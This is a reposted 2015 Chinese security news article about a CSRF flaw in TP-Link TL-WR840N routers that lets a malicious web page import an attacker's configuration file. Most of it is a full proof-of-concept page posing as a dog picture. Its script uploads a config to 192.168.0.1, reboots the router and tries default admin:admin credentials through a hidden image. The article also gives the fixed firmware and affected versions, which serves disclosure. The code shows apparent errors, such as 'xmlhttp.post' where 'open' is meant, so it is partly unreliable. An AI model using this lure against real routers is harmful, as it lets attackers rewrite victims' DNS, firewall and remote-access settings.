TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

TP-Link路由器在国内的用户量很大,最近国外安全研究者发现TP-Link一个系列的路由器存在 CSRF 漏洞,攻击者可以修改路由器的任意配置,包括 DNS 等。

漏洞原理:

TP-Link TL-WR840N 路由器的管理后台提供了很多配置路由器的功能,其中一个功能是导入一个已经存在的配置文件,这个功能存在CSRF 漏洞,攻击者可以诱使路由器管理员访问一个恶意的网站,然后利用这个漏洞导入一个攻击者构造的配置文件,从而可以修改包括路由器的防火墙、远程管理等所有的配置项,当然,如果路由器管理员没有修改管理后台的密码,攻击成本就更低了,都不需要欺骗管理员登陆后台了。

攻击者可以在自己的路由器中设置一些配置项,然后将配置文件导出,就可以拿来do anything you want 了~

利用测试过程:

图一显示POC(概念验证)运行之前的配置情况

图二显示运行 POC 的情况

图三显示 POC 运行完之后,配置已经被改了

POC:

<html>
<head><title>Cool Dog Pic</title></head>
<body>
    <script type="text/javascript">
    exploit();
    function getConfigureationFile(file){
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.open("GET",file,false);
        xmlhttp.overrideMimeType("text/plain; charset=x-user-defined");
        xmlhttp.send(null);
        return xmlhttp.responseText;
    }
    function uploadFileToRouter(fileData, filename){
        var boundary = "367815278484079563322656070";
        var body = '';
        body += '------------------------' + boundary + '\r\n';
        body += 'Content-Disposition: form-data; name="filename"; filename="config.bin"\r\n';
        body += 'Content-Type: application/octet-stream\r\n';
        body += '\r\n';
        for (var i = 0;i<fileData.length;i++){
            body += String.fromCharCode(fileData.charCodeAt(i) & 0xff);
        }
        body += '\r\n';
        body += '------------------------' + boundary + '\r\n';
        body += 'Content-Disposition: form=data; name="Restore"\r\n';
        body += '\r\n';
        body += 'Restore\r\n';
        body += '------------------------' + boundary + '--\r\n';
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.post("POST","http://192.168.0.1/incoming/RouterBakCfgUpload.cfg",true);
        xmlhttp.withCredentials = true;
        xmlhttp.setRequestHeader("Content-Type", 'multipart/form-data;boundary=-------------------------------' + boundary);
        xmlhttp.setRequestHeader('Content-length', body.length);
        xmlhttp.sendAsBinary(body); 
    }
    function rebootRouter(){
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.open("GET","http://192.168.0.1/userRpm/ConfUpdateTemp.htm",true);
        xmlhttp.withCredentials = true;
        xmlhttp.send(null);
    }
    function sleep(milliseconds){
        var start = new Date().getTime();
        for (var i = 0;i<1e7;i++){
            if ((new Date().getTime() - start) > milliseconds) {
                break;
            }
        }
    }
    function exploit(){
        sleep(3000);
        var c = getConfigureationFile('config.bin');
        uploadFileToRouter(c,'config.bin');
        rebootRouter();
    }
    </script>
    <img src="http://fc05.deviantart.net/fs71/f/2012/092/a/e/aww__derp_puppy_by_chrisiipoo-d4uuah3.jpg"></img>
    <img width='0' height='0' src="http://admin:admin@192.168.0.1" class="hidden"></img>
</body>

修复方案:

升级到固件3.13.27, build141120 或更新的版本。

影响范围:

TL-WR840N v1 (固件版本 3.13.27, build140714 或更早的)。

[参考来源secureworks,文/实习编辑 吴知,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2015-01-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏我和PYTHON有个约会

30.企业级开发进阶2:网络编程

网络编程部分开始,要求对内容的宏观理解的东西更加多了,简单梳理总结一下,希望大家多提意见一起完善。

8900
来自专栏FreeBuf

改造Nginx,让邮件系统也支持双因子验证

起 因 最近在研究双因子认证的时候突然想到:能不能在邮件系统中应用双因子验证呢?作为一个有了想法就想落地的四有好少年,我决定试试。 受制于文化程...

49790
来自专栏Laoqi's Linux运维专列

堡垒机–搭建简易的跳板机

1.5K20
来自专栏FreeBuf

Tunnel:论如何在内网中自由渗透

*本文作者:戒贤,本文属FreeBuf原创奖励计划,未经许可禁止转载 背景 能够成功地通过web漏洞获取到webshell,对于一次完整的渗透测试来说,仅仅相当...

425100
来自专栏分布式系统进阶

Kafka的消费积压监控-Burrow

37030
来自专栏西枫里博客

关机后远程唤醒的配置,简单实现广域网远程开机和连接

出门在外经常需要家里或者办公室电脑里面的资料。通常通过远程桌面等控制类软件连接。当家里没人,没人开电脑就麻烦了,如果让家里电脑始终开着浪费能源,所以远程桌面...

68020
来自专栏Python中文社区

京东商城大规模爬虫的开发

專 欄 ❈ 蜗牛仔,Python中文社区专栏作者,怒学Python爬虫,争当爬虫工程师, github地址: https://github.com/xiaob...

245100
来自专栏微信终端开发团队的专栏

Hello Bonjour!

Hello Bonjour! 一开始用Bonjour,我是拒绝的。 让我们以一个问题开头:如何能在本地网络找到自己想要的硬件设备及相应服务,并连接? 在这个以I...

298100
来自专栏二次元

QQ、支付宝、微信收款码三合一

就是一个体现套字,包含上传二维码,识别二维码,生成三合一收款码,一整套流程服务。

6.2K20
来自专栏FreeBuf

如何利用Fluxion诱惑目标用户获取WPA密码

前言 由于ISP替代了易受攻击的路由器,供渗透测试人员选择的诸如Reaver这样的工具越来越少,对于特定的目标,哪些工具有用与否能够确定的也很少。而如果采用暴力...

38160

扫码关注云+社区

领取腾讯云代金券